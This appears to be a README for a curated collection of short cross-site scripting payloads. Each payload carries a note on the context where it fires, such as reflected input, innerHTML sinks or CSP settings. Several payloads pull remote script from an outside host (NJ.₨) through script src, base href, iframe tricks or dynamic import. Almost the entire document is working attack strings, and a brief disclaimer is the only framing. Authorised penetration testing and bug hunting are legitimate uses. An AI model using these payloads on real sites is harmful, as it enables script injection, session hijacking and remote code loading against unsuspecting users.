Tiny-XSS-Payloads

This is a curated set of small but powerful Cross-Site Scripting (XSS) payloads 💥 designed to exploit vulnerabilities in different web application contexts. These payloads can be used to test and identify weak points in web security 🔐. A collection of short XSS payloads that can be used in different contexts.

The DEMO available here: https://tiny-xss-payloads.netlify.app/ 📚 Why Tiny Payloads?

⚡ Lightweight: Easily bypass filters due to their minimal size.

🎯 Targeted: Crafted for specific scenarios (e.g., HTML, JavaScript, URLs).

🛡️ Efficient Testing: Quick checks for XSS vulnerabilities.

🏗️ Use Cases

🔍 Bug Hunting: Identify weak points in websites.

🧪 Penetration Testing: Test how applications handle untrusted input.

🛠️ Security Auditing: Assess web application resilience.

Current Payloads

<!-- Requires a relative script inserted to the DOM after the sink, 
  e.g. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>

<!-- Only works as reflected XSS -->
<svg/onload=eval(name)>

<!-- If you control the URL -->
<svg/onload=eval(`'`+URL)>

<!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name>

<!-- In chrome, also works inside innerHTML, even on elements not yet inserted into DOM -->
<svg><svg/onload=eval(name)>

<!-- If you control window's name, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<audio/src/onerror=eval(name)>

<!-- If you control the URL, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<img/src/onerror=eval(`'`+URL)>

<!-- Just a casual script -->
<script/src=//NJ.₨></script>

<!-- If you control the name of the window -->
<iframe/onload=src=top.name>

<!-- If you control the URL -->
<iframe/onload=eval(`'`+URL)>

<!-- If number of iframes on the page is constant -->
<iframe/onload=src=top[0].name+/\NJ.₨?/>

<!-- for Firefox only -->
<iframe/srcdoc="<svg><script/href=//NJ.₨ />">

<!-- If number of iframes on the page is random -->
<iframe/onload=src=contentWindow.name+/\NJ.₨?/>

<!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
<iframe/srcdoc="<script/src=//NJ.₨></script>">

<!-- If inline styles are allowed -->
<style/onload=eval(name)>

<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>

<!-- If inline styles are blocked -->
<style/onerror=eval(name)>

<!-- Uses external script as import, doesn't work in innerHTML -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>

<!-- Uses external script as import,  triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>

<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<iframe/onload=import(/\\NJ.₨/)>

Deprecated:

<!-- If you control the URL, Safari-only -->
<iframe/onload=write(URL)>

<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>

⚠️ Disclaimer

These payloads are for educational and ethical testing purposes only. Unauthorized use is illegal and unethical. Always have proper authorization before testing! ✅

Information

Author❤️: UTTAM BODARA

License💀: MIT License